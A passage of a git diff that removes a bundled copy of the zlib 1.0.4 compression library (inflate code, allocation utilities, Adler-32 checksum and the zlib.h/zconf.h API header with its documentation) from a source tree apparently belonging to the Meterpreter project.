DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - continue; - } - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits for length */ - e &= 15; - c = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * length %u\n", c)); - - /* decode distance base of block to copy */ - GRABBITS(15); /* max bits for distance code */ - e = (t = td + ((uInt)b & md))->exop; - do { - DUMPBITS(t->bits) - if (e & 16) - { - /* get extra bits to add to distance base */ - e &= 15; - GRABBITS(e) /* get extra bits (up to 13) */ - d = t->base + ((uInt)b & inflate_mask[e]); - DUMPBITS(e) - Tracevv((stderr, "inflate: * distance %u\n", d)); - - /* do the copy */ - m -= c; - if ((uInt)(q - s->window) >= d) /* offset before dest */ - { /* just copy */ - r = q - d; - *q++ = *r++; c--; /* minimum count is three, */ - *q++ = *r++; c--; /* so unroll loop a little */ - } - else /* else offset after destination */ - { - e = d - (uInt)(q - s->window); /* bytes from offset to end */ - r = s->end - e; /* pointer to offset */ - if (c > e) /* if source crosses, */ - { - c -= e; /* copy to end of window */ - do { - *q++ = *r++; - } while (--e); - r = s->window; /* copy rest from start of window */ - } - } - do { /* copy all or what's left */ - *q++ = *r++; - } while (--c); - break; - } - else if ((e & 64) == 0) - e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop; - else - { - z->msg = (char*)"invalid distance code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - break; - } - if ((e & 64) == 0) - { - if ((e = (t = t->next + ((uInt)b & inflate_mask[e]))->exop) == 0) - { - DUMPBITS(t->bits) - Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ? - "inflate: * literal '%c'\n" : - "inflate: * literal 0x%02x\n", t->base)); - *q++ = (Byte)t->base; - m--; - break; - } - } - else if (e & 32) - { - Tracevv((stderr, "inflate: * end of block\n")); - UNGRAB - UPDATE - return Z_STREAM_END; - } - else - { - z->msg = (char*)"invalid literal/length code"; - UNGRAB - UPDATE - return Z_DATA_ERROR; - } - } while (1); - } while (m >= 258 && n >= 10); - - /* not enough input or output--restore pointers and return */ - UNGRAB - UPDATE - return Z_OK; -} -/* --- inffast.c */ - -/* +++ zutil.c */ -/* zutil.c -- target dependent utility functions for the compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: zutil.c,v 1.17 1996/07/24 13:41:12 me Exp $ */ - -#ifdef DEBUG_ZLIB -#include -#endif - -/* #include "zutil.h" */ - -#ifndef NO_DUMMY_DECL -struct internal_state {int dummy;}; /* for buggy compilers */ -#endif - -#ifndef STDC -extern void exit OF((int)); -#endif - -static const char *z_errmsg[10] = { -"need dictionary", /* Z_NEED_DICT 2 */ -"stream end", /* Z_STREAM_END 1 */ -"", /* Z_OK 0 */ -"file error", /* Z_ERRNO (-1) */ -"stream error", /* Z_STREAM_ERROR (-2) */ -"data error", /* Z_DATA_ERROR (-3) */ -"insufficient memory", /* Z_MEM_ERROR (-4) */ -"buffer error", /* Z_BUF_ERROR (-5) */ -"incompatible version",/* Z_VERSION_ERROR (-6) */ -""}; - - -const char *zlibVersion() -{ - return ZLIB_VERSION; -} - -#ifdef DEBUG_ZLIB -void z_error (m) - char *m; -{ - fprintf(stderr, "%s\n", m); - exit(1); -} -#endif - -#ifndef HAVE_MEMCPY - -void zmemcpy(dest, source, len) - Bytef* dest; - Bytef* source; - uInt len; -{ - if (len == 0) return; - do { - *dest++ = *source++; /* ??? to be unrolled */ - } while (--len != 0); -} - -int zmemcmp(s1, s2, len) - Bytef* s1; - Bytef* s2; - uInt len; -{ - uInt j; - - for (j = 0; j < len; j++) { - if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1; - } - return 0; -} - -void zmemzero(dest, len) - Bytef* dest; - uInt len; -{ - if (len == 0) return; - do { - *dest++ = 0; /* ??? to be unrolled */ - } while (--len != 0); -} -#endif - -#ifdef __TURBOC__ -#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__) -/* Small and medium model in Turbo C are for now limited to near allocation - * with reduced MAX_WBITS and MAX_MEM_LEVEL - */ -# define MY_ZCALLOC - -/* Turbo C malloc() does not allow dynamic allocation of 64K bytes - * and farmalloc(64K) returns a pointer with an offset of 8, so we - * must fix the pointer. Warning: the pointer must be put back to its - * original form in order to free it, use zcfree(). - */ - -#define MAX_PTR 10 -/* 10*64K = 640K */ - -local int next_ptr = 0; - -typedef struct ptr_table_s { - voidpf org_ptr; - voidpf new_ptr; -} ptr_table; - -local ptr_table table[MAX_PTR]; -/* This table is used to remember the original form of pointers - * to large buffers (64K). Such pointers are normalized with a zero offset. - * Since MSDOS is not a preemptive multitasking OS, this table is not - * protected from concurrent access. This hack doesn't work anyway on - * a protected system like OS/2. Use Microsoft C instead. - */ - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - voidpf buf = opaque; /* just to make some compilers happy */ - ulg bsize = (ulg)items*size; - - /* If we allocate less than 65520 bytes, we assume that farmalloc - * will return a usable pointer which doesn't have to be normalized. - */ - if (bsize < 65520L) { - buf = farmalloc(bsize); - if (*(ush*)&buf != 0) return buf; - } else { - buf = farmalloc(bsize + 16L); - } - if (buf == NULL || next_ptr >= MAX_PTR) return NULL; - table[next_ptr].org_ptr = buf; - - /* Normalize the pointer to seg:0 */ - *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4; - *(ush*)&buf = 0; - table[next_ptr++].new_ptr = buf; - return buf; -} - -void zcfree (voidpf opaque, voidpf ptr) -{ - int n; - if (*(ush*)&ptr != 0) { /* object < 64K */ - farfree(ptr); - return; - } - /* Find the original pointer */ - for (n = 0; n < next_ptr; n++) { - if (ptr != table[n].new_ptr) continue; - - farfree(table[n].org_ptr); - while (++n < next_ptr) { - table[n-1] = table[n]; - } - next_ptr--; - return; - } - ptr = opaque; /* just to make some compilers happy */ - Assert(0, "zcfree: ptr not found"); -} -#endif -#endif /* __TURBOC__ */ - - -#if defined(M_I86) && !defined(__32BIT__) -/* Microsoft C in 16-bit mode */ - -# define MY_ZCALLOC - -#if (!defined(_MSC_VER) || (_MSC_VER < 600)) -# define _halloc halloc -# define _hfree hfree -#endif - -voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - return _halloc((long)items, size); -} - -void zcfree (voidpf opaque, voidpf ptr) -{ - if (opaque) opaque = 0; /* to make compiler happy */ - _hfree(ptr); -} - -#endif /* MSC */ - - -#ifndef MY_ZCALLOC /* Any system without a special alloc function */ - -#ifndef STDC -extern voidp calloc OF((uInt items, uInt size)); -extern void free OF((voidpf ptr)); -#endif - -voidpf zcalloc (opaque, items, size) - voidpf opaque; - unsigned items; - unsigned size; -{ - if (opaque) items += size - size; /* make compiler happy */ - return (voidpf)calloc(items, size); -} - -void zcfree (opaque, ptr) - voidpf opaque; - voidpf ptr; -{ - free(ptr); - if (opaque) return; /* make compiler happy */ -} - -#endif /* MY_ZCALLOC */ -/* --- zutil.c */ - -/* +++ adler32.c */ -/* adler32.c -- compute the Adler-32 checksum of a data stream - * Copyright (C) 1995-1996 Mark Adler - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: adler32.c,v 1.10 1996/05/22 11:52:18 me Exp $ */ - -/* #include "zlib.h" */ - -#define BASE 65521L /* largest prime smaller than 65536 */ -#define NMAX 5552 -/* NMAX is the largest n such that 255n(n+1)/2 + (n+1)(BASE-1) <= 2^32-1 */ - -#define DO1(buf,i) {s1 += buf[(i)]; s2 += s1;} -#define DO2(buf,i) DO1(buf,i); DO1(buf,(i)+1); -#define DO4(buf,i) DO2(buf,i); DO2(buf,(i)+2); -#define DO8(buf,i) DO4(buf,i); DO4(buf,(i)+4); -#define DO16(buf) DO8(buf,0); DO8(buf,8); - -/* ========================================================================= */ -uLong adler32(adler, buf, len) - uLong adler; - const Bytef *buf; - uInt len; -{ - unsigned long s1 = adler & 0xffff; - unsigned long s2 = (adler >> 16) & 0xffff; - int k; - - if (buf == Z_NULL) return 1L; - - while (len > 0) { - k = len < NMAX ? len : NMAX; - len -= k; - while (k >= 16) { - DO16(buf); - buf += 16; - k -= 16; - } - if (k != 0) do { - s1 += *buf++; - s2 += s1; - } while (--k); - s1 %= BASE; - s2 %= BASE; - } - return (s2 << 16) | s1; -} -/* --- adler32.c */ diff --git a/c/meterpreter/source/server/zlib/zlib.h b/c/meterpreter/source/server/zlib/zlib.h deleted file mode 100644 index b0122681..00000000 --- a/c/meterpreter/source/server/zlib/zlib.h +++ /dev/null @@ -1,993 +0,0 @@ -/* - * This file is derived from zlib.h and zconf.h from the zlib-1.0.4 - * distribution by Jean-loup Gailly and Mark Adler, with some additions - * by Paul Mackerras to aid in implementing Deflate compression and - * decompression for PPP packets. - */ - -/* - * ==FILEVERSION 971127== - * - * This marker is used by the Linux installation script to determine - * whether an up-to-date version of this file is already installed. - */ - - -/* +++ zlib.h */ -/*- - zlib.h -- interface of the 'zlib' general purpose compression library - version 1.0.4, Jul 24th, 1996. - - Copyright (C) 1995-1996 Jean-loup Gailly and Mark Adler - - This software is provided 'as-is', without any express or implied - warranty. In no event will the authors be held liable for any damages - arising from the use of this software. - - Permission is granted to anyone to use this software for any purpose, - including commercial applications, and to alter it and redistribute it - freely, subject to the following restrictions: - - 1. The origin of this software must not be misrepresented; you must not - claim that you wrote the original software. If you use this software - in a product, an acknowledgment in the product documentation would be - appreciated but is not required. - 2. Altered source versions must be plainly marked as such, and must not be - misrepresented as being the original software. - 3. This notice may not be removed or altered from any source distribution. - - Jean-loup Gailly Mark Adler - gzip@prep.ai.mit.edu madler@alumni.caltech.edu -*/ -/* - The data format used by the zlib library is described by RFCs (Request for - Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt - (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format). -*/ - -#ifndef _ZLIB_H -#define _ZLIB_H - -#ifdef __cplusplus -extern "C" { -#endif - - -/* +++ zconf.h */ -/* zconf.h -- configuration of the zlib compression library - * Copyright (C) 1995-1996 Jean-loup Gailly. - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* From: zconf.h,v 1.20 1996/07/02 15:09:28 me Exp $ */ - -#ifndef _ZCONF_H -#define _ZCONF_H - -/* - * If you *really* need a unique prefix for all types and library functions, - * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it. - */ -#ifdef Z_PREFIX -# define deflateInit_ z_deflateInit_ -# define deflate z_deflate -# define deflateEnd z_deflateEnd -# define inflateInit_ z_inflateInit_ -# define inflate z_inflate -# define inflateEnd z_inflateEnd -# define deflateInit2_ z_deflateInit2_ -# define deflateSetDictionary z_deflateSetDictionary -# define deflateCopy z_deflateCopy -# define deflateReset z_deflateReset -# define deflateParams z_deflateParams -# define inflateInit2_ z_inflateInit2_ -# define inflateSetDictionary z_inflateSetDictionary -# define inflateSync z_inflateSync -# define inflateReset z_inflateReset -# define compress z_compress -# define uncompress z_uncompress -# define adler32 z_adler32 -#if 0 -# define crc32 z_crc32 -# define get_crc_table z_get_crc_table -#endif - -# define Byte z_Byte -# define uInt z_uInt -# define uLong z_uLong -# define Bytef z_Bytef -# define charf z_charf -# define intf z_intf -# define uIntf z_uIntf -# define uLongf z_uLongf -# define voidpf z_voidpf -# define voidp z_voidp -#endif - -#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32) -# define WIN32 -#endif -#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386) -# ifndef __32BIT__ -# define __32BIT__ -# endif -#endif -#if defined(__MSDOS__) && !defined(MSDOS) -# define MSDOS -#endif - -/* - * Compile with -DMAXSEG_64K if the alloc function cannot allocate more - * than 64k bytes at a time (needed on systems with 16-bit int). - */ -#if defined(MSDOS) && !defined(__32BIT__) -# define MAXSEG_64K -#endif -#ifdef MSDOS -# define UNALIGNED_OK -#endif - -#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32)) && !defined(STDC) -# define STDC -#endif -#if (defined(__STDC__) || defined(__cplusplus)) && !defined(STDC) -# define STDC -#endif - -#ifndef STDC -# ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ -# define const -# endif -#endif - -/* Some Mac compilers merge all .h files incorrectly: */ -#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__) -# define NO_DUMMY_DECL -#endif - -/* Maximum value for memLevel in deflateInit2 */ -#ifndef MAX_MEM_LEVEL -# ifdef MAXSEG_64K -# define MAX_MEM_LEVEL 8 -# else -# define MAX_MEM_LEVEL 9 -# endif -#endif - -/* Maximum value for windowBits in deflateInit2 and inflateInit2 */ -#ifndef MAX_WBITS -# define MAX_WBITS 15 /* 32K LZ77 window */ -#endif - -/* The memory requirements for deflate are (in bytes): - 1 << (windowBits+2) + 1 << (memLevel+9) - that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) - plus a few kilobytes for small objects. For example, if you want to reduce - the default memory requirements from 256K to 128K, compile with - make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" - Of course this will generally degrade compression (there's no free lunch). - - The memory requirements for inflate are (in bytes) 1 << windowBits - that is, 32K for windowBits=15 (default value) plus a few kilobytes - for small objects. -*/ - - /* Type declarations */ - -#ifndef OF /* function prototypes */ -# ifdef STDC -# define OF(args) args -# else -# define OF(args) () -# endif -#endif - -/* The following definitions for FAR are needed only for MSDOS mixed - * model programming (small or medium model with some far allocations). - * This was tested only with MSC; for other MSDOS compilers you may have - * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, - * just define FAR to be empty. - */ -#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__) - /* MSC small or medium model */ -# define SMALL_MEDIUM -# ifdef _MSC_VER -# define FAR __far -# else -# define FAR far -# endif -#endif -#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__)) -# ifndef __32BIT__ -# define SMALL_MEDIUM -# define FAR __far -# endif -#endif -#ifndef FAR -# define FAR -#endif - -typedef unsigned char Byte; /* 8 bits */ -typedef unsigned int uInt; /* 16 bits or more */ -typedef unsigned long uLong; /* 32 bits or more */ - -#if defined(__BORLANDC__) && defined(SMALL_MEDIUM) - /* Borland C/C++ ignores FAR inside typedef */ -# define Bytef Byte FAR -#else - typedef Byte FAR Bytef; -#endif -typedef char FAR charf; -typedef int FAR intf; -typedef uInt FAR uIntf; -typedef uLong FAR uLongf; - -#ifdef STDC - typedef void FAR *voidpf; - typedef void *voidp; -#else - typedef Byte FAR *voidpf; - typedef Byte *voidp; -#endif - - -/* Compile with -DZLIB_DLL for Windows DLL support */ -#if (defined(_WINDOWS) || defined(WINDOWS)) && defined(ZLIB_DLL) -# include -# define EXPORT WINAPI -#else -# define EXPORT -#endif - -#endif /* _ZCONF_H */ -/* --- zconf.h */ - -#define ZLIB_VERSION "1.0.4P" - -/* - The 'zlib' compression library provides in-memory compression and - decompression functions, including integrity checks of the uncompressed - data. This version of the library supports only one compression method - (deflation) but other algorithms may be added later and will have the same - stream interface. - - For compression the application must provide the output buffer and - may optionally provide the input buffer for optimization. For decompression, - the application must provide the input buffer and may optionally provide - the output buffer for optimization. - - Compression can be done in a single step if the buffers are large - enough (for example if an input file is mmap'ed), or can be done by - repeated calls of the compression function. In the latter case, the - application must provide more input and/or consume the output - (providing more output space) before each call. - - The library does not install any signal handler. It is recommended to - add at least a handler for SIGSEGV when decompressing; the library checks - the consistency of the input data whenever possible but may go nuts - for some forms of corrupted input. -*/ - -typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size)); -typedef void (*free_func) OF((voidpf opaque, voidpf address)); - -struct internal_state; - -typedef struct z_stream_s { - Bytef *next_in; /* next input byte */ - uInt avail_in; /* number of bytes available at next_in */ - uLong total_in; /* total nb of input bytes read so far */ - - Bytef *next_out; /* next output byte should be put there */ - uInt avail_out; /* remaining free space at next_out */ - uLong total_out; /* total nb of bytes output so far */ - - const char *msg; /* last error message, NULL if no error */ - struct internal_state FAR *state; /* not visible by applications */ - - alloc_func zalloc; /* used to allocate the internal state */ - free_func zfree; /* used to free the internal state */ - voidpf opaque; /* private data object passed to zalloc and zfree */ - - int data_type; /* best guess about the data type: ascii or binary */ - uLong adler; /* adler32 value of the uncompressed data */ - uLong reserved; /* reserved for future use */ -} z_stream; - -typedef z_stream FAR *z_streamp; - -/* - The application must update next_in and avail_in when avail_in has - dropped to zero. It must update next_out and avail_out when avail_out - has dropped to zero. The application must initialize zalloc, zfree and - opaque before calling the init function. All other fields are set by the - compression library and must not be updated by the application. - - The opaque value provided by the application will be passed as the first - parameter for calls of zalloc and zfree. This can be useful for custom - memory management. The compression library attaches no meaning to the - opaque value. - - zalloc must return Z_NULL if there is not enough memory for the object. - On 16-bit systems, the functions zalloc and zfree must be able to allocate - exactly 65536 bytes, but will not be required to allocate more than this - if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, - pointers returned by zalloc for objects of exactly 65536 bytes *must* - have their offset normalized to zero. The default allocation function - provided by this library ensures this (see zutil.c). To reduce memory - requirements and avoid any allocation of 64K objects, at the expense of - compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). - - The fields total_in and total_out can be used for statistics or - progress reports. After compression, total_in holds the total size of - the uncompressed data and may be saved for use in the decompressor - (particularly if the decompressor wants to decompress everything in - a single step). -*/ - - /* constants */ - -#define Z_NO_FLUSH 0 -#define Z_PARTIAL_FLUSH 1 -#define Z_PACKET_FLUSH 2 -#define Z_SYNC_FLUSH 3 -#define Z_FULL_FLUSH 4 -#define Z_FINISH 5 -/* Allowed flush values; see deflate() below for details */ - -#define Z_OK 0 -#define Z_STREAM_END 1 -#define Z_NEED_DICT 2 -#define Z_ERRNO (-1) -#define Z_STREAM_ERROR (-2) -#define Z_DATA_ERROR (-3) -#define Z_MEM_ERROR (-4) -#define Z_BUF_ERROR (-5) -#define Z_VERSION_ERROR (-6) -/* Return codes for the compression/decompression functions. Negative - * values are errors, positive values are used for special but normal events. - */ - -#define Z_NO_COMPRESSION 0 -#define Z_BEST_SPEED 1 -#define Z_BEST_COMPRESSION 9 -#define Z_DEFAULT_COMPRESSION (-1) -/* compression levels */ - -#define Z_FILTERED 1 -#define Z_HUFFMAN_ONLY 2 -#define Z_DEFAULT_STRATEGY 0 -/* compression strategy; see deflateInit2() below for details */ - -#define Z_BINARY 0 -#define Z_ASCII 1 -#define Z_UNKNOWN 2 -/* Possible values of the data_type field */ - -#define Z_DEFLATED 8 -/* The deflate compression method (the only one supported in this version) */ - -#define Z_NULL 0 /* for initializing zalloc, zfree, opaque */ - -#define zlib_version zlibVersion() -/* for compatibility with versions < 1.0.2 */ - - /* basic functions */ - -extern const char * EXPORT zlibVersion OF((void)); -/* The application can compare zlibVersion and ZLIB_VERSION for consistency. - If the first character differs, the library code actually used is - not compatible with the zlib.h header file used by the application. - This check is automatically made by deflateInit and inflateInit. - */ - -/* -extern int EXPORT deflateInit OF((z_streamp strm, int level)); - - Initializes the internal stream state for compression. The fields - zalloc, zfree and opaque must be initialized before by the caller. - If zalloc and zfree are set to Z_NULL, deflateInit updates them to - use default allocation functions. - - The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9: - 1 gives best speed, 9 gives best compression, 0 gives no compression at - all (the input data is simply copied a block at a time). - Z_DEFAULT_COMPRESSION requests a default compromise between speed and - compression (currently equivalent to level 6). - - deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_STREAM_ERROR if level is not a valid compression level, - Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible - with the version assumed by the caller (ZLIB_VERSION). - msg is set to null if there is no error message. deflateInit does not - perform any compression: this will be done by deflate(). -*/ - - -extern int EXPORT deflate OF((z_streamp strm, int flush)); -/* - Performs one or both of the following actions: - - - Compress more input starting at next_in and update next_in and avail_in - accordingly. If not all input can be processed (because there is not - enough room in the output buffer), next_in and avail_in are updated and - processing will resume at this point for the next call of deflate(). - - - Provide more output starting at next_out and update next_out and avail_out - accordingly. This action is forced if the parameter flush is non zero. - Forcing flush frequently degrades the compression ratio, so this parameter - should be set only when necessary (in interactive applications). - Some output may be provided even if flush is not set. - - Before the call of deflate(), the application should ensure that at least - one of the actions is possible, by providing more input and/or consuming - more output, and updating avail_in or avail_out accordingly; avail_out - should never be zero before the call. The application can consume the - compressed output when it wants, for example when the output buffer is full - (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK - and with zero avail_out, it must be called again after making room in the - output buffer because there might be more output pending. - - If the parameter flush is set to Z_PARTIAL_FLUSH, the current compression - block is terminated and flushed to the output buffer so that the - decompressor can get all input data available so far. For method 9, a future - variant on method 8, the current block will be flushed but not terminated. - Z_SYNC_FLUSH has the same effect as partial flush except that the compressed - output is byte aligned (the compressor can clear its internal bit buffer) - and the current block is always terminated; this can be useful if the - compressor has to be restarted from scratch after an interruption (in which - case the internal state of the compressor may be lost). - If flush is set to Z_FULL_FLUSH, the compression block is terminated, a - special marker is output and the compression dictionary is discarded; this - is useful to allow the decompressor to synchronize if one compressed block - has been damaged (see inflateSync below). Flushing degrades compression and - so should be used only when necessary. Using Z_FULL_FLUSH too often can - seriously degrade the compression. If deflate returns with avail_out == 0, - this function must be called again with the same value of the flush - parameter and more output space (updated avail_out), until the flush is - complete (deflate returns with non-zero avail_out). - - If the parameter flush is set to Z_PACKET_FLUSH, the compression - block is terminated, and a zero-length stored block is output, - omitting the length bytes (the effect of this is that the 3-bit type - code 000 for a stored block is output, and the output is then - byte-aligned). This is designed for use at the end of a PPP packet. - - If the parameter flush is set to Z_FINISH, pending input is processed, - pending output is flushed and deflate returns with Z_STREAM_END if there - was enough output space; if deflate returns with Z_OK, this function must be - called again with Z_FINISH and more output space (updated avail_out) but no - more input data, until it returns with Z_STREAM_END or an error. After - deflate has returned Z_STREAM_END, the only possible operations on the - stream are deflateReset or deflateEnd. - - Z_FINISH can be used immediately after deflateInit if all the compression - is to be done in a single step. In this case, avail_out must be at least - 0.1% larger than avail_in plus 12 bytes. If deflate does not return - Z_STREAM_END, then it must be called again as described above. - - deflate() may update data_type if it can make a good guess about - the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered - binary. This field is only for information purposes and does not affect - the compression algorithm in any manner. - - deflate() returns Z_OK if some progress has been made (more input - processed or more output produced), Z_STREAM_END if all input has been - consumed and all output has been produced (only when flush is set to - Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example - if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible. -*/ - - -extern int EXPORT deflateEnd OF((z_streamp strm)); -/* - All dynamically allocated data structures for this stream are freed. - This function discards any unprocessed input and does not flush any - pending output. - - deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the - stream state was inconsistent, Z_DATA_ERROR if the stream was freed - prematurely (some input or output was discarded). In the error case, - msg may be set but then points to a static string (which must not be - deallocated). -*/ - - -/* -extern int EXPORT inflateInit OF((z_streamp strm)); - - Initializes the internal stream state for decompression. The fields - zalloc, zfree and opaque must be initialized before by the caller. If - zalloc and zfree are set to Z_NULL, inflateInit updates them to use default - allocation functions. - - inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_VERSION_ERROR if the zlib library version is incompatible - with the version assumed by the caller. msg is set to null if there is no - error message. inflateInit does not perform any decompression: this will be - done by inflate(). -*/ - -extern int EXPORT inflate OF((z_streamp strm, int flush)); -/* - Performs one or both of the following actions: - - - Decompress more input starting at next_in and update next_in and avail_in - accordingly. If not all input can be processed (because there is not - enough room in the output buffer), next_in is updated and processing - will resume at this point for the next call of inflate(). - - - Provide more output starting at next_out and update next_out and avail_out - accordingly. inflate() provides as much output as possible, until there - is no more input data or no more space in the output buffer (see below - about the flush parameter). - - Before the call of inflate(), the application should ensure that at least - one of the actions is possible, by providing more input and/or consuming - more output, and updating the next_* and avail_* values accordingly. - The application can consume the uncompressed output when it wants, for - example when the output buffer is full (avail_out == 0), or after each - call of inflate(). If inflate returns Z_OK and with zero avail_out, it - must be called again after making room in the output buffer because there - might be more output pending. - - If the parameter flush is set to Z_PARTIAL_FLUSH or Z_PACKET_FLUSH, - inflate flushes as much output as possible to the output buffer. The - flushing behavior of inflate is not specified for values of the flush - parameter other than Z_PARTIAL_FLUSH, Z_PACKET_FLUSH or Z_FINISH, but the - current implementation actually flushes as much output as possible - anyway. For Z_PACKET_FLUSH, inflate checks that once all the input data - has been consumed, it is expecting to see the length field of a stored - block; if not, it returns Z_DATA_ERROR. - - inflate() should normally be called until it returns Z_STREAM_END or an - error. However if all decompression is to be performed in a single step - (a single call of inflate), the parameter flush should be set to - Z_FINISH. In this case all pending input is processed and all pending - output is flushed; avail_out must be large enough to hold all the - uncompressed data. (The size of the uncompressed data may have been saved - by the compressor for this purpose.) The next operation on this stream must - be inflateEnd to deallocate the decompression state. The use of Z_FINISH - is never required, but can be used to inform inflate that a faster routine - may be used for the single inflate() call. - - inflate() returns Z_OK if some progress has been made (more input - processed or more output produced), Z_STREAM_END if the end of the - compressed data has been reached and all uncompressed output has been - produced, Z_NEED_DICT if a preset dictionary is needed at this point (see - inflateSetDictionary below), Z_DATA_ERROR if the input data was corrupted, - Z_STREAM_ERROR if the stream structure was inconsistent (for example if - next_in or next_out was NULL), Z_MEM_ERROR if there was not enough memory, - Z_BUF_ERROR if no progress is possible or if there was not enough room in - the output buffer when Z_FINISH is used. In the Z_DATA_ERROR case, the - application may then call inflateSync to look for a good compression block. - In the Z_NEED_DICT case, strm->adler is set to the Adler32 value of the - dictionary chosen by the compressor. -*/ - - -extern int EXPORT inflateEnd OF((z_streamp strm)); -/* - All dynamically allocated data structures for this stream are freed. - This function discards any unprocessed input and does not flush any - pending output. - - inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state - was inconsistent. In the error case, msg may be set but then points to a - static string (which must not be deallocated). -*/ - - /* Advanced functions */ - -/* - The following functions are needed only in some special applications. -*/ - -/* -extern int EXPORT deflateInit2 OF((z_streamp strm, - int level, - int method, - int windowBits, - int memLevel, - int strategy)); - - This is another version of deflateInit with more compression options. The - fields next_in, zalloc, zfree and opaque must be initialized before by - the caller. - - The method parameter is the compression method. It must be Z_DEFLATED in - this version of the library. (Method 9 will allow a 64K history buffer and - partial block flushes.) - - The windowBits parameter is the base two logarithm of the window size - (the size of the history buffer). It should be in the range 8..15 for this - version of the library (the value 16 will be allowed for method 9). Larger - values of this parameter result in better compression at the expense of - memory usage. The default value is 15 if deflateInit is used instead. - - The memLevel parameter specifies how much memory should be allocated - for the internal compression state. memLevel=1 uses minimum memory but - is slow and reduces compression ratio; memLevel=9 uses maximum memory - for optimal speed. The default value is 8. See zconf.h for total memory - usage as a function of windowBits and memLevel. - - The strategy parameter is used to tune the compression algorithm. Use the - value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a - filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no - string match). Filtered data consists mostly of small values with a - somewhat random distribution. In this case, the compression algorithm is - tuned to compress them better. The effect of Z_FILTERED is to force more - Huffman coding and less string matching; it is somewhat intermediate - between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects - the compression ratio but not the correctness of the compressed output even - if it is not set appropriately. - - If next_in is not null, the library will use this buffer to hold also - some history information; the buffer must either hold the entire input - data, or have at least 1<<(windowBits+1) bytes and be writable. If next_in - is null, the library will allocate its own history buffer (and leave next_in - null). next_out need not be provided here but must be provided by the - application for the next call of deflate(). - - If the history buffer is provided by the application, next_in must - must never be changed by the application since the compressor maintains - information inside this buffer from call to call; the application - must provide more input only by increasing avail_in. next_in is always - reset by the library in this case. - - deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was - not enough memory, Z_STREAM_ERROR if a parameter is invalid (such as - an invalid method). msg is set to null if there is no error message. - deflateInit2 does not perform any compression: this will be done by - deflate(). -*/ - -extern int EXPORT deflateSetDictionary OF((z_streamp strm, - const Bytef *dictionary, - uInt dictLength)); -/* - Initializes the compression dictionary (history buffer) from the given - byte sequence without producing any compressed output. This function must - be called immediately after deflateInit or deflateInit2, before any call - of deflate. The compressor and decompressor must use exactly the same - dictionary (see inflateSetDictionary). - The dictionary should consist of strings (byte sequences) that are likely - to be encountered later in the data to be compressed, with the most commonly - used strings preferably put towards the end of the dictionary. Using a - dictionary is most useful when the data to be compressed is short and - can be predicted with good accuracy; the data can then be compressed better - than with the default empty dictionary. In this version of the library, - only the last 32K bytes of the dictionary are used. - Upon return of this function, strm->adler is set to the Adler32 value - of the dictionary; the decompressor may later use this value to determine - which dictionary has been used by the compressor. (The Adler32 value - applies to the whole dictionary even if only a subset of the dictionary is - actually used by the compressor.) - - deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a - parameter is invalid (such as NULL dictionary) or the stream state - is inconsistent (for example if deflate has already been called for this - stream). deflateSetDictionary does not perform any compression: this will - be done by deflate(). -*/ - -extern int EXPORT deflateCopy OF((z_streamp dest, - z_streamp source)); -/* - Sets the destination stream as a complete copy of the source stream. If - the source stream is using an application-supplied history buffer, a new - buffer is allocated for the destination stream. The compressed output - buffer is always application-supplied. It's the responsibility of the - application to provide the correct values of next_out and avail_out for the - next call of deflate. - - This function can be useful when several compression strategies will be - tried, for example when there are several ways of pre-processing the input - data with a filter. The streams that will be discarded should then be freed - by calling deflateEnd. Note that deflateCopy duplicates the internal - compression state which can be quite large, so this strategy is slow and - can consume lots of memory. - - deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not - enough memory, Z_STREAM_ERROR if the source stream state was inconsistent - (such as 